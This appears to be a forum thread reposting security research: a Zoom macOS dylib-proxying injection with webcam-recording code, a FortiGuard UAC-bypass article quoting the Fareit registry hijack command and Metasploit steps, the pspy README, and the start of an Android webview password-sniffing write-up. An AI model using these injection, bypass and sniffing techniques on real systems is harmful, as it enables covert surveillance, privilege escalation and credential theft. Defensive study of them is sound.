Executable=/Applications/zoom.us.app/Contents/MacOS/zoom.us Identifier=us.zoom.xos Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20500 size=663 flags=0x10000(runtime) hashes=12+5 location=embedded ... Authority=Developer ID Application: Zoom Video Communications, Inc. (BJ4HAAB9B3) Authority=Developer ID Certification Authority Authority=Apple Root CA A flags value of 0x10000(runtime) indicates that the application was compiled with the “Hardened Runtime” option, and thus said runtime, should be enforced by macOS for this application. Ok so far so good! Code injection attacks should be generically thwarted due to this! …but (again) this is Zoom, so not so fast 😅 Let’s dump Zoom’s entitlements (entitlements are code-signed capabilities and/or exceptions), again via the codesign utility: codesign -d --entitlements :- /Applications/zoom.us.app/ Executable=/Applications/zoom.us.app/Contents/MacOS/zoom.us <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN...> <plist version="1.0"> <dict> <key>com.apple.security.automation.apple-events</key> <true/> <key>com.apple.security.device.audio-input</key> <true/> <key>com.apple.security.device.camera</key> <true/> <key>com.apple.security.cs.disable-library-validation</key> <true/> <key>com.apple.security.cs.disable-executable-page-protection</key> <true/> </dict> </plist> The com.apple.security.device.audio-input and com.apple.security.device.camera entitlements are required as Zoom needs (user-approved) mic and camera access. However the com.apple.security.cs.disable-library-validation entitlement is interesting. In short it tells macOS, “hey, yah I still (kinda?) want the “Hardened Runtime”, but please allow any libraries to be loaded into my address space” …in other words, library injections are a go! Apple documents this entitlement as well: So, thanks to this entitlement we can (in theory) circumvent the “Hardened Runtime” and inject a malicious library into Zoom (for example to access the mic and camera without an access alert). There are variety of ways to coerce a remote process to load a dynamic library at load time, or at runtime. Here we’ll focus on a method I call “dylib proxying”, as it’s both stealthy and persistent (malware authors, take note!). In short, we replace a legitimate library that the target (i.e. Zoom) depends on, then, proxy all requests made by Zoom back to the original library, to ensure legitimate functionality is maintained. Both the app, and the user remains none the wiser! 📝 Another benefit of the "dylib proxying" is that it does not compromise the code signing certificate of the binary (however, it may affect the signature of the application bundle). A benefit of this, is that Apple's runtime signature checks (e.g. for mic & camera access) do not seem to detect the malicious library, and thus still afford the process continued access to the mic & camera. This is a method I’ve often (ab)used before in a handful of exploits, for example to (previously) bypass SIP: As the image illustrates one could proxied the IASUtilities library so that malicious code would be automatically loaded (‘injected’) by the macOS dynamic linker (dyld) into Apple’s installer (a prerequisite for the SIP bypass exploit). Here, we’ll similarly proxy a library (required by Zoom), such that our malicious library will be automatically loaded into Zoom’s trusted process address space any time its launched. To determine what libraries Zoom is linked against (read: requires), and thus will be automatically loaded by the macOS dynamic loader, we can use the otool with the -L flag: $ otool -L /Applications/zoom.us.app/Contents/MacOS/zoom.us /Applications/zoom.us.app/Contents/MacOS/zoom.us: @rpath/curl64.framework/Versions/A/curl64 /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation /usr/lib/libobjc.A.dylib /usr/lib/libc++.1.dylib /usr/lib/libSystem.B.dylib /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices 📝 Due to macOS's System Integrity Protection (SIP), we cannot replace any system libraries. As such, for an application to be ‘vulnerable’ to “dylib proxying” it must load a library from either its own application bundle, or another non-SIP’d location (and must not be compiled with the “hardened runtime” (well unless it has the com.apple.security.cs.disable-library-validation entitlement exception)). Looking at the Zoom’s library dependencies, we see: @rpath/curl64.framework/Versions/A/curl64. We can resolve the runpath (@rpath) again via otool, this time with the -l flag: $ otool -l /Applications/zoom.us.app/Contents/MacOS/zoom.us ... Load command 22 cmd LC_RPATH cmdsize 48 path @executable_path/../Frameworks (offset 12) The @executable_path will be resolved at runtime to the binary’s path, thus the dylib will be loaded out of: /Applications/zoom.us.app/Contents/MacOS/../Frameworks, or more specifically /Applications/zoom.us.app/Contents/Frameworks. Taking a peak at Zoom’s application bundle, we can confirm the presence of the curl64 (and many other frameworks and libraries) that will all be loaded whenever Zoom is launched: 📝 For details on "runpaths" (@rpath) and executable paths (@executable_path) as well as more information on creating a proxy dylib, check out my paper: "Dylib Hijacking on OS X" For simplicity sake, we’ll target Zoom’s libssl.1.0.0.dylib (as it’s a stand-alone library, versus a framework/bundle) as the library we’ll proxy. Step #1 is to rename the legitimate library. For example here, we simply prefix it with an underscore: _libssl.1.0.0.dylib Now, if we running Zoom, it will (as expected) crash, as a library it requires (libssl.1.0.0.dylib) is ‘missing’: patrick$ /Applications/zoom.us.app/Contents/MacOS/zoom.us dyld: Library not loaded: @rpath/libssl.1.0.0.dylib Referenced from: /Applications/zoom.us.app/Contents/Frameworks/curl64.framework/Versions/A/curl64 Reason: image not found Abort trap: 6 This is actually good news, as it means if we place any library named libssl.1.0.0.dylib in Zoom’s Frameworks directory dyld will (blindly) attempt to load it. Step #2, let’s create a simple library, with a custom constructor (that will be automatically invoked when the library is loaded): 1__attribute__((constructor)) 2static void constructor(void) 3{ 4 char path[PROC_PIDPATHINFO_MAXSIZE]; 5 proc_pidpath (getpid(), path, sizeof(path)-1); 6 7 NSLog(@"zoom zoom: loaded in %d: %s", getpid(), path); 8 9 return; 10} …and save it to /Applications/zoom.us.app/Contents/Frameworks/libssl.1.0.0.dylib. Then we re-run Zoom: patrick$ /Applications/zoom.us.app/Contents/MacOS/zoom.us zoom zoom: loaded in 39803: /Applications/zoom.us.app/Contents/MacOS/zoom.us Hooray! Our library is loaded by Zoom. Unfortunately Zoom then exits right away. This is also not unexpected as our libssl.1.0.0.dylib is not an ssl library…that is to say, it doesn’t export any required functionality (i.e. ssl capabilities!). So Zoom (gracefully) fails. Not to worry, this is where the beauty of “dylib proxying” shines. Step #3, via simple linker directives, we can tell Zoom, “hey, while our library don’t implement the required (ssl) functionality you’re looking for, we know who does!” and then point Zoom to the original (legitimate) ssl library (that we renamed _libssl.1.0.0.dylib). Diagrammatically this looks like so: To create the required linker directive, we add the -XLinker -reexport_library and then the path to the proxy library target, under “Other Linker Flags” in Xcode: To complete the creation of the proxy library, we must also update the embedded reexport path (within our proxy dylib) so that it points to the (original, albeit renamed) ssl library. Luckily Apple provides the install_name_tool tool just for this purpose: patrick$ install_name_tool -change @rpath/libssl.1.0.0.dylib /Applications/zoom.us.app/Contents/Frameworks/_libssl.1.0.0.dylib /Applications/zoom.us.app/Contents/Frameworks/libssl.1.0.0.dylib We can now confirm (via otool) that our proxy library references the original ssl libary. Specifically, we note that our proxy dylib (libssl.1.0.0.dylib) contains a LC_REEXPORT_DYLIB that points to the original ssl library (_libssl.1.0.0.dylib😞 patrick$ otool -l /Applications/zoom.us.app/Contents/Frameworks/libssl.1.0.0.dylib ... Load command 11 cmd LC_REEXPORT_DYLIB cmdsize 96 name /Applications/zoom.us.app/Contents/Frameworks/_libssl.1.0.0.dylib time stamp 2 Wed Dec 31 14:00:02 1969 current version 1.0.0 compatibility version 1.0.0 Re-running Zoom confirms that our proxy library (and the original ssl library) are both loaded, and that Zoom perfectly functions as expected! 🔥 The appeal of injection a library into Zoom, revolves around its (user-granted) access to the mic and camera. Once our malicious library is loaded into Zoom’s process/address space, the library will automatically inherit any/all of Zooms access rights/permissions! This means that if the user as given Zoom access to the mic and camera (a more than likely scenario), our injected library can equally access those devices. 📝 If Zoom has not been granted access to the mic or the camera, our library should be able to problematically detect this (to silently 'fail'). …or we can go ahead and still attempt to access the devices, as the access prompt will originate “legitimately” from Zoom and thus likely to be approved by the unsuspecting user. To test this “access inheritance” I added some code to the injected library to record a few seconds of video off the webcam: 1 2 AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; 3 4 session = [[AVCaptureSession alloc] init]; 5 output = [[AVCaptureMovieFileOutput alloc] init]; 6 7 AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device 8 error:nil]; 9 10 movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; 11 12 [self.session addInput:input]; 13 [self.session addOutput:output]; 14 [self.session addOutput:movieFileOutput]; 15 16 [self.session startRunning]; 17 18 [movieFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"zoom.mov"] 19 recordingDelegate:self]; 20 21 //stop recoding after 5 seconds 22 [NSTimer scheduledTimerWithTimeInterval:5 target:self 23 selector:@selector(finishRecord:) userInfo:nil repeats:NO]; 24 25 ... Normally this code would trigger an alert from macOS, asking the user to confirm access to the (mic) and camera. However, as we’re injected into Zoom (which was already given access by the user), no additional prompts will be displayed, and the injected code was able to arbitrarily record audio and video. Interestingly, the test captured the real brains behind this research: 📝 Could malware (ab)use Zoom to capture audio and video at arbitrary times (i.e. to spy on users?). If Zoom is installed and has been granted access to the mic and camera, then yes! In fact the /usr/bin/open utility supports the -j flag, which “launches the app hidden”! Voila! Conclusion Today, we uncovered two (local) security issues affecting Zoom’s macOS application. Given Zoom’s privacy and security track record this should surprise absolutely zero people. First, we illustrated how unprivileged attackers or malware may be able to exploit Zoom’s installer to gain root privileges. Following this, due to an ‘exception’ entitlement, we showed how to inject a malicious library into Zoom’s trusted process context. This affords malware the ability to record all Zoom meetings, or, simply spawn Zoom in the background to access the mic and webcam at arbitrary times! 😱 The former is problematic as many enterprises (now) utilize Zoom for (likely) sensitive business meetings, while the latter is problematic as it affords malware the opportunity to surreptitious access either the mic or the webcam, with no macOS alerts and/or prompts. OSX.FruitFly v2.0 anybody? So, what to do? Honestly, if you care about your security and/or privacy perhaps stop using Zoom. And if using Zoom is a must, I’ve written several free tools that may help detect these attacks. 😇 First, OverSight can alert you anytime anybody access the mic or webcam: Thus even if an attacker or malware is (ab)using Zoom “invisibly” in the background, OverSight will generate an alert. Another (free) tool is KnockKnock that can generically detect proxy libraries: …it’s almost as if offensive cyber-security research can facilitate the creation of powerful defensive tools! 🛠️ 😇 ❤️ Love these blog posts and/or want to support my research and tools? You can support them via my Patreon page! © 2020 objective-see llc ✉ support us! Sursa: https://objective-see.com/blog/blog_0x56.html
-
Offense and Defense – A Tale of Two Sides: Bypass UAC By Anthony Giandomenico | April 01, 2020 FortiGuard Labs Threat Analysis Introduction In this month’s “Offense and Defense – A Tale of Two Sides” blog, we will be walking through a new technique in sequence as it would happen in a real attack. Since I discussed downloading and executing a malicious payload with PowerShell last time, the next logical step is to focus on a technique for escalating privileges, which is why we will be focusing on the Bypass User Account Control (UAC) attack technique. Once the bad guys have managed to breach defenses and get into a system, they need to make sure they have the right permissions to complete whatever their tasks might be. One of the first obstacles they typically face is trying to bypass the UAC. It’s important to note that, while very common, Bypass UAC is a much weaker version of a Local Privilege Escalation attack. There are much more sophisticated exploits in the wild that allow for sandbox escapes or becoming a privileged system using a device owned by a least privileged user. But we will save those other topics for another day. User Account Control Review Before we start, we will all need a basic understanding of how UAC works. UAC is an access control feature introduced with Microsoft Windows Vista and Windows Server 2008 (and is included in pretty much all Windows versions after that). The main intent of UAC is to make sure applications are limited to standard user privileges. If a user requires an increase in access privileges, the administrator of the device (usually the owner) needs to authorize that change by actively selecting a prompt-based query. We all should be familiar with this user experience. When additional privileges are needed, a pop-up prompt asks, “Do you want to allow the following program to make changes to this computer?” If you have the full access token (i.e. you are logged in as the administrator of the device, or if you are part of the administrator’s group), you can select ‘yes’, and be on your way. If you’ve been assigned a standard user access token, however, you will be prompted to enter credentials for an administrator who does have the privileges. Figure 1. UAC Consent Prompt Figure 2. UAC Credential Prompt NOTE: When you first log in to a Windows 10 machine as a non-admin user, you are granted a standard access token. This token contains information about the level of access you are being granted, including SIDs and Windows privileges. The login process for an administrator is similar. They get the same standard token as the non-admin user, but they also get an additional token that provides admin access. This explains why an administrative user is still prompted with the UAC consent prompt even though they have appropriate access privilege. It’s because the system looks at the standard access token first. If you give your consent by selecting yes, the admin access token kicks in and you are on your merry way. The goal for this feature was that it would limit accidental system changes and malware from compromising a system, since elevating privilege required an additional user intervention to verify that this change is what the user was intending to do, and that only trusted apps would receive admin privileges. One other item that is important to understand is that Windows 10 protects processes by marking them with certain integrity levels. Below are the highest and lowest integrity levels. High Integrity (Highest) – apps that are assigned this level can make modifications to system data. Some executables may have auto-elevate abilities. I will dive into this later. Low Integrity (Lowest) - apps that perform a task that could be harmful to the operating system There is much more information available out there for the UAC feature, but I think what we have covered gives us the background we need to proceed. Bypass User Account Control The UAC feature seems like a good measure for preventing malware from compromising a system. But unfortunately, it turns out that criminals have discovered how to bypass the UAC feature, many of which that are pretty trivial. Many of them work on the specific configuration setting of UAC. Below are a few examples of UAC bypass techniques that have been built into the opensource Metasploit tool to help you test your systems. UAC protection bypass using Fodhelper or Eventvwr and the Registry Key UAC protection bypass using Eventvwr and the Registry Key UAC protection bypass using COM Handler Hijack The first two take advantage of auto-elevation within Microsoft. If a binary is trusted – meaning it has been signed with a MS certificate and is located in a trusted directory, like c:\windows\system32 – the UAC consent prompt will not engage. Both Fodhelper.exe and Eventvwr.exe are trusted binaries. In the Fodhelper example, when that executable is run it looks for two registry keys to run additional commands. One of those registry keys can be modified, so if you put custom commands in there they run at the privilege level of the trusted fodhelper.exe file. It’s worth mentioning that these techniques only work if the user is already in the administrator group. If you’re on a system as a standard user, it will not work. You might ask yourself, “why do I need to perform this bypass if I’m already an admin?” The answer is that if the adversary is on the box remotely, how do they select the yes button when the UAC consent prompt appears? They can’t, so the only way around it is to get around the prompt itself. The COM handler bypass is similar, as it references specific registry (COM hander) entries that can be created and then referenced when a high integrity process is loaded. On a side note, if you want to see which executables can auto-elevate, try using the strings program which is part of sysinternals: Example = Strings -sc:\windows\system32\*.exe | findstr /I autoelevate As I mentioned, there are many more bypass UAC techniques. If you want to explore more, which I think you should do to ensure you’re protected against them, or at least can detect them, you can start at this GitHub site (UACMe). Defenses against Bypass UAC Now that we understand that bypassing the UAC controls is possible, let’s talk about defenses you have against these attacks. You have four settings for User Account Control in Windows 7/10. The settings options are listed below. Always notify Probably the most secure setting. If you select this, it will always notify you when you make changes to your system, such as installing software programs or when you are making direct changes to Windows settings. When the UAC prompt is displayed, other tasks are frozen until you respond. Notify me only when programs try to make changes to my computer This setting is similar to the first. It will notify when installing software programs and will freeze all other tasks until you respond to the prompt. However, it will not notify you when you try to modify changes to the system. Notify me only when programs try to make changes to my computer (do not dim my desktop) As the setting name suggests, it’s the same as the one above. But when the UAC consent prompt appears, other tasks on the system will not freeze. Never notify (Disable UAC) I think it’s obvious what this setting does. It disables User Access Control. The default setting for UAC is “Notify me only when programs try to make changes to my computer.” I mention this because some attack techniques will not work if you have UAC set to “Always notify.” A word to the wise. Another great defense for this technique is to simply not run as administrator. Even if you own the device, work as a standard user and elevate privileges as needed when performing tasks that require them. This sounds like a no-brainer, but many organizations still provide admin privileges to all users. The reasoning is usually because it’s easier. That’s true, but it’s also easier for the bad guys as well. Privilege escalation never really happens as a single event. They are multiple techniques chained together, with the next dependent on the one before successfully executing. So with that in mind, the best way to break the attack chain is to prevent any of these techniques from successfully completing – and the best place to do this is usually by blocking a technique in the execution tactic category or before when being delivered. If the adversary cannot get a foothold on the box, they certainly are not going to be able to execute a bypass UAC technique. If you’re interested in learning more about technique chaining and dependencies, Andy Applebaum created a nice presentation given at the First Conference that you might want to take a look at. One common question people ask is, “why are there no CVEs for theseUAC security bypass attacks?” It’s because Microsoft doesn’t consider UAC to be a security bypass, so you will not see them in the regular patch Tuesdays. Real-World Examples & Detections Over the years, our FortiGuard Labs team has discovered many threats that include a bypass UAC technique. A great example is a threat we discovered a few years back that contained the Fareit malware. A Fareit payload typically includes stealing credentials and downloading other payloads. This particular campaign run was delivered via a phishing email containing a malicious macro that called a PowerShell script to download a file named sick.exe. This seems like a typical attack strategy, but to execute the sick.exe payload it used the high integrity (auto-elevated) eventvwr.exe to bypass the UAC consent prompt. Below is the PowerShell script. Figure 3. PowerShell Script You can see that the first part of the script downloads the malicious file using the (New-object System.net.webclient).Downloadfile() method we discussed in the first blog in this series. The second part of the script adds an entry to the registry using the command reg add HKCU\Software\Classes\mscfile\shell\open\command /d %tmp%\sick.exe /f. Figure 4. Registry Modified by PowerShell Script Finally, the last command in the script runs the eventvwr.exe, which needs to run MMC. As I discussed earlier, the exe has to query both the HKCU\Software\Classes\mscfile\shell\open\command\ and HKCR\mscfile\shell\open\command\. When it does so, it will find sick.exe as an entry and will execute that instead of the MMC. Our 24/7 FortiResponder Managed Detection and Response team also sees a good amount of bypass UAC activity in our customers’ environments. Usually, the threat is stopped earlier in the attack chain, before it has a chance to run the technique, but there are occasions when it is able to progress beyond that point. We also observe it if the FortiEDR configuration is in simulation mode. A recent technique we detected and blocked was a newer version of Trickbot. When this payload runs it tries to execute the WSReset UAC Bypass technique to circumvent the UAC prompt. Once again, it leverages an executable that has higher integrity (and higher privilege) and has the autoElevate property enabled. This specific bypass works on Windows 10. If the payload encounters Windows 7, it will instead use the CMSTPUA UAC bypass technique. In Figure 5 you can see our FortiEDR forensic technology identify the reg.exe trying to modify the registry value with DelegateExecute. Figure 5. FortiEDR technology detecting a bypass UAC technique Our FortiSIEM customers can take advantage of rules to detect some of these UAC bypass techniques. Below is an example rule to detect a UAC bypass using the Windows backup tool sdclt.exe and the Eventvwr version we mentioned before. Figure 6. FortiSIEM rule to detect some Bypass UAC techniques Below, in Figure 7, we can see the sub-patterns for the rule detecting the eventvwr Bypass UAC version. Figure 7. FortiSIEM SubPattern to detect Bypass UAC technique using eventvwr.exe If you’re not using a technology like FortiEDR or FortiSIEM, you could start monitoring on your own (using sysmon). But again, it could be difficult since there are so many variations. In general, you can look for registry changes or additions in certain areas and the auto-elevated files being used, depending on the specific bypass UAC technique. For the eventvwr.exe version you could look for new entries in HKCU\SoftwarClasses. Also keep an eye on the consent.exe file since it’s the one that launches the User Interface for UAC. Look for the amount of time it takes for the start and end time of the consent process. If it’s milliseconds, it’s not being done by a human but an automated process. Lastly, when looking at the entire UAC process, a legitimate execution is usually much simpler in nature, whereas the bypass UAC process is a bit more complex or noisy in the logs. You will have to do a lot of research to figure out the right rules to trigger on. It’s probably better to just get a technology that can help prevent or detect the technique. This should save you a lot of time and personnel overhead. Reproducing the Techniques Once you’ve done your research on the technique, it’s time to figure out how to reproduce it so you can figure out whether or not you detect it. Some of the same tools apply as I mentioned last time, but there are a few that are fairly easy to use. Below are a few examples. Simulation Tool Atomic Red Team has some very basic tests you can use to simulate a UAC bypass. Figure 8, below, lists them. Figure 8. A list of Bypass UAC tests Open Source Defense Testing Tool As I mentioned earlier, Metasploit has a few bypass UAC techniques you can leverage. Remember that in the attack chain your adversary already has an initial foothold on the box, and they are trying to get around UAC. With that said, you should already have a meterpreter session running on your test box. Executing the steps to run a bypass UAC (using fodhelper) technique is pretty simple. First, put your meterpreter session in the background by typing the command background. Next, type use exploit/windows/local/bypassuac_fodhelper. From there you need to add your meterpreter session to use the exploit. Type in set session <your session #> and then type exploit. If you’re successful, you should have something on your screen that looks like what’s shown in figure 9, below. Figure 9. Successful bypass UAC using fodhelper file. Lastly, in video 1 below, I walk you through a bypass UAC technique available in Metasploit. I had established initial access and ended up with a meterpreter session. From there I tried to add a registry for persistence, but don’t have the right access. So, I try to run the getsystem command, but that fails as well. This is usually because UAC is enabled. I then select one of the bypass UAC techniques, which then allows me to elevate my system privilege and add my persistence into the registry. Conclusion Once again, we continue play the cat and mouse game. As an industry we build protections (in this case UAC) and eventually the adversary finds ways around them. This will most likely not change. So the important task is understanding your strengths and weaknesses against these real-world attacks. If you struggle with keeping up to date with all of this, you can always turn to your consulting partner or vendor to make sure you have the right security controls and services in place to keep up with the latest threats, and that you are also able to address the risk and identify malicious activities using such tools as EDR, MDR, UEBA and SIEM technologies. I will close this blog like I did last time. As you go through the process of testing each Bypass UAC attack technique, it is important to not only understand the technique, but also be able to simulate it. Then, monitor your security controls, evaluate if any gaps exist, and document and make improvements needed for coverage. Stay tuned for our next Mitre ATT&CK technique blog - Credential Dumping. Find out more about how FortiResponder Services enable organizations to achieve continuous monitoring as well as incident response and forensic investigation. Learn how FortiGuard Labs provides unmatched security and intelligence services using integrated AI systems. Find out about the FortiGuard Security Services portfolio and sign up for our weekly FortiGuard Threat Brief. Discover how the FortiGuard Security Rating Service provides security audits and best practices to guide customers in designing, implementing, and maintaining the security posture best suited for their organization. Sursa: https://www.fortinet.com/blog/threat-research/offense-and-defense-a-tale-of-two-sides-bypass-uac.html
-
pspy - unprivileged Linux process snooping pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea. The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes. Getting started Download Get the tool onto the Linux machine you want to inspect. First get the binaries. Download the released binaries here: 32 bit big, static version: pspy32 download 64 bit big, static version: pspy64 download 32 bit small version: pspy32s download 64 bit small version: pspy64s download The statically compiled files should work on any Linux system but are quite huge (~4MB). If size is an issue, try the smaller versions which depend on libc and are compressed with UPX (~1MB). Build Either use Go installed on your system or run the Docker-based build process which ran to create the release. For the latter, ensure Docker is installed, and then run make build-build-image to build a Docker image, followed by make build to build the binaries with it. You can run pspy --help to learn about the flags and their meaning. The summary is as follows: -p: enables printing commands to stdout (enabled by default) -f: enables printing file system events to stdout (disabled by default) -r: list of directories to watch with Inotify. pspy will watch all subdirectories recursively (by default, watches /usr, /tmp, /etc, /home, /var, and /opt). -d: list of directories to watch with Inotify. pspy will watch these directories only, not the subdirectories (empty by default). -i: interval in milliseconds between procfs scans. pspy scans regularly for new processes regardless of Inotify events, just in case some events are not received. -c: print commands in different colors. File system events are not colored anymore, commands have different colors based on process UID. --debug: prints verbose error messages which are otherwise hidden. The default settings should be fine for most applications. Watching files inside /usr is most important since many tools will access libraries inside it. Some more complex examples: # print both commands and file system events and scan procfs every 1000 ms (=1sec) ./pspy64 -pf -i 1000 # place watchers recursively in two directories and non-recursively into a third ./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir # disable printing discovered commands but enable file system events ./pspy64 -p=false -f Examples Cron job watching To see the tool in action, just clone the repo and run make example (Docker needed). It is known passing passwords as command line arguments is not safe, and the example can be used to demonstrate it. The command starts a Debian container in which a secret cron job, run by root, changes a user password every minute. pspy run in foreground, as user myuser, and scans for processes. You should see output similar to this: ~/pspy (master) $ make example [...] docker run -it --rm local/pspy-example:latest [+] cron started [+] Running as user uid=1000(myuser) gid=1000(myuser) groups=1000(myuser),27(sudo) [+] Starting pspy now... Watching recursively : [/usr /tmp /etc /home /var /opt] (6) Watching non-recursively: [] (0) Printing: processes=true file-system events=false 2018/02/18 21:00:03 Inotify watcher limit: 524288 (/proc/sys/fs/inotify/max_user_watches) 2018/02/18 21:00:03 Inotify watchers set up: Watching 1030 directories - watching now 2018/02/18 21:00:03 CMD: UID=0 PID=9 | cron -f 2018/02/18 21:00:03 CMD: UID=0 PID=7 | sudo cron -f 2018/02/18 21:00:03 CMD: UID=1000 PID=14 | pspy 2018/02/18 21:00:03 CMD: UID=1000 PID=1 | /bin/bash /entrypoint.sh 2018/02/18 21:01:01 CMD: UID=0 PID=20 | CRON -f 2018/02/18 21:01:01 CMD: UID=0 PID=21 | CRON -f 2018/02/18 21:01:01 CMD: UID=0 PID=22 | python3 /root/scripts/password_reset.py 2018/02/18 21:01:01 CMD: UID=0 PID=25 | 2018/02/18 21:01:01 CMD: UID=??? PID=24 | ??? 2018/02/18 21:01:01 CMD: UID=0 PID=23 | /bin/sh -c /bin/echo -e "KI5PZQ2ZPWQXJKEL\nKI5PZQ2ZPWQXJKEL" | passwd myuser 2018/02/18 21:01:01 CMD: UID=0 PID=26 | /usr/sbin/sendmail -i -FCronDaemon -B8BITMIME -oem root 2018/02/18 21:01:01 CMD: UID=101 PID=27 | 2018/02/18 21:01:01 CMD: UID=8 PID=28 | /usr/sbin/exim4 -Mc 1enW4z-00000Q-Mk First, pspy prints all currently running processes, each with PID, UID and the command line. When pspy detects a new process, it adds a line to this log. In this example, you find a process with PID 23 which seems to change the password of myuser. This is the result of a Python script used in roots private crontab /var/spool/cron/crontabs/root, which executes this shell command (check crontab and script). Note that myuser can neither see the crontab nor the Python script. With pspy, it can see the commands nevertheless. CTF example from Hack The Box Below is an example from the machine Shrek from Hack The Box. In this CTF challenge, the task is to exploit a hidden cron job that's changing ownership of all files in a folder. The vulnerability is the insecure use of a wildcard together with chmod (details for the interested reader). It requires substantial guesswork to find and exploit it. With pspy though, the cron job is easy to find and analyse: How it works Tools exist to list all processes executed on Linux systems, including those that have finished. For instance there is forkstat. It receives notifications from the kernel on process-related events such as fork and exec. These tools require root privileges, but that should not give you a false sense of security. Nothing stops you from snooping on the processes running on a Linux system. A lot of information is visible in procfs as long as a process is running. The only problem is you have to catch short-lived processes in the very short time span in which they are alive. Scanning the /proc directory for new PIDs in an infinite loop does the trick but consumes a lot of CPU. A stealthier way is to use the following trick. Process tend to access files such as libraries in /usr, temporary files in /tmp, log files in /var, ... Using the inotify API, you can get notifications whenever these files are created, modified, deleted, accessed, etc. Linux does not require priviledged users for this API since it is needed for many innocent applications (such as text editors showing you an up-to-date file explorer). Thus, while non-root users cannot monitor processes directly, they can monitor the effects of processes on the file system. We can use the file system events as a trigger to scan /proc, hoping that we can do it fast enough to catch the processes. This is what pspy does. There is no guarantee you won't miss one, but chances seem to be good in my experiments. In general, the longer the processes run, the bigger the chance of catching them is. Misc Logo: "By Creative Tail [CC BY 4.0 (http://creativecommons.org/licenses/by/4.0)], via Wikimedia Commons" (link) Sursa: https://github.com/DominicBreuker/pspy
-
Android Webview Exploited How an android app can bypass CSP, iframe sandbox attributes, etc. to compromise the page getting loaded in the webview despite the classic protections in place. qreoct Read more posts by this author. qreoct 24 Mar 2020 • 20 min read There are plenty of articles explaining the security issues with android webview, like this article & this one. Many of these resources talk about the risks that an untrusted page, loaded inside a webview, poses to the underlying app. The threats become more prominent especially when javascript and/or the javascript interface is enabled on the webview. In short, having javascript enabled & not properly fortified allows for execution of arbitrary javascript in the context of the loaded page, making it quite similar to any other page that may be vulnerable to an XSS. And again, very simply put, having the javascript interface enabled allows for potential code execution in the context of the underlying android app. In many of the resources, that I came across, the situation was such that the victim was the underlying android app inside whose webview a page would open either from it's own domain or from an external source/domain. While attacker was the entity external to the app, like an actor exploiting a potential XSS on the page loaded from the app's domain (or the third party domain from where the page is being loaded inside the webview itself acting malicious). The attack vector was the vulnerable/malicious page loaded in the the webview. This blog talks about a different attack scenario! Victim: Not the underlying android app, but the page itself that is being loaded in the webview. Attacker: The underlying android app, in whose webview the page is being loaded. Attack vector: The vulnerable/malicious page loaded in the the webview.(through the abuse of the insecure implementations of some APIs) The story line A certain product needs to integrate with a huge business. Let us call this huge business as BullyGiant & the certain product as AppAwesome from this point on. Many users have an account on both AppAwesome & also on BullyGiant. The flow involves such users of BullyGiant to check out on their payments page with AppAwesome. Every transaction on AppAwesome requires to be authenticated & authorized by the user by entering their password on the AppAwesome's checkout page, which appears before any transaction is allowed to go through. AppAwesome cares about the security of it's customers. So it proposes the below security measures to anyone who wants to integrate with them, especially around AppAwesome's checkout page. Loading of the checkout page using AppAwesome's SDK. All of the page & it's contents are sandboxed & controlled by the SDK. This approach allows for maximum security & the best user experience. Loading of the checkout page on the underlying browser (or custom chrome tabs, if available). This approach again has quite decent security (limited by of course the underlying browser's security) but not a very good user experience. Loading of the checkout page in the webview of the integrating app. This is comparatively the most insecure of the above proposals, although offers a better user experience than the second approach mentioned above. Now the deal is that AppAwesome is really very keen on securing their own customers' financial data & hence very strongly recommends usage of their SDK. BullyGiant on the other hand, for some reason, (hopefully justified) does not really want to abide by the secure integration proposals by AppAwesome. AppAwesome does have a choice to deny any integration with BullyGiant. However, this integration is really crucial for AppAwesome to provide a superior user experience to it's own users & in fact even more crucial for AppAwesome to stay in the game. So AppAwesome gives in & agrees to integrate with BullyGiant succumbing to their terms of integration, i.e. using the least secure webview approach. The only things that protect AppAwesome's customers now is the trust that AppAwesome has on BullyGiant, which is somewhat also covered through the legal contracts between AppAwesome & BullyGiant. That's all. Technical analysis (TL;DR) Thanks: Badshah & Anoop for helping with the execution of the attack idea. Without your help, this blog post would not have been possible, at least not while it's still relevant Below is a tech analysis of why webview is a bad idea. It talks about how can a spurious (or compromised) app abuse webview features to extract sensitive data from the page loaded inside the webview, despite the many security mechanisms that the page, being loaded in the webview, might have implemented. We discuss in details, with many demos, how CSP, iframe sandbox etc. may be bypassed in android webview. Every single demo has a linked code base on my Github so they could be tried out first hand. Also, the below generic scheme is followed (not strictly in that order) throughout the blog: A simple demo of the underlying concepts on the browser & android webview Addition of security features to the underlying concepts & then demo of the same on the browser & android webview NB: Please ignore all other potential security issues that might be there with the code base/s Case 1: No protection mechanisms Apps used in this section: AppAwesome BullyGiant AppAwesome when accessed from a normal browser: Vanilla AppAwesome Landing Page - Browser And on submitting the above form: Vanilla AppAwesome Checkout Page -Browser AppAwesome when accessed from BullyGiant app: Vanilla AppAwesome Page - Android Webview Notice the Authenticate Payment web page is loaded inside a webview of the BullyGiant app. And on submitting the form above: Vanilla AppAwesome Page - Android Webview Notice that clicking on the Submit button also displays the content of the password field as a toast message on BullyGiant. This proves how the underlying app may be able to sniff any data (sensitive or otherwise) from the page loaded in it's webview. Under the BullyGiant hood The juice of why BullyGiant was able to sniff password field out from the webview is because it is in total control of it's own webview & hence can change the properties of the webview, listen to events etc. That is exactly what it is doing. It is enabling javascript on it's webview & then it is listening for onPageFinished event Snippet from BullyGiant: ... final WebView mywebview = (WebView) findViewById(R.id.webView); mywebview.clearCache(true); mywebview.loadUrl("http://192.168.1.38:31337/home"); mywebview.getSettings().setJavaScriptEnabled(true); 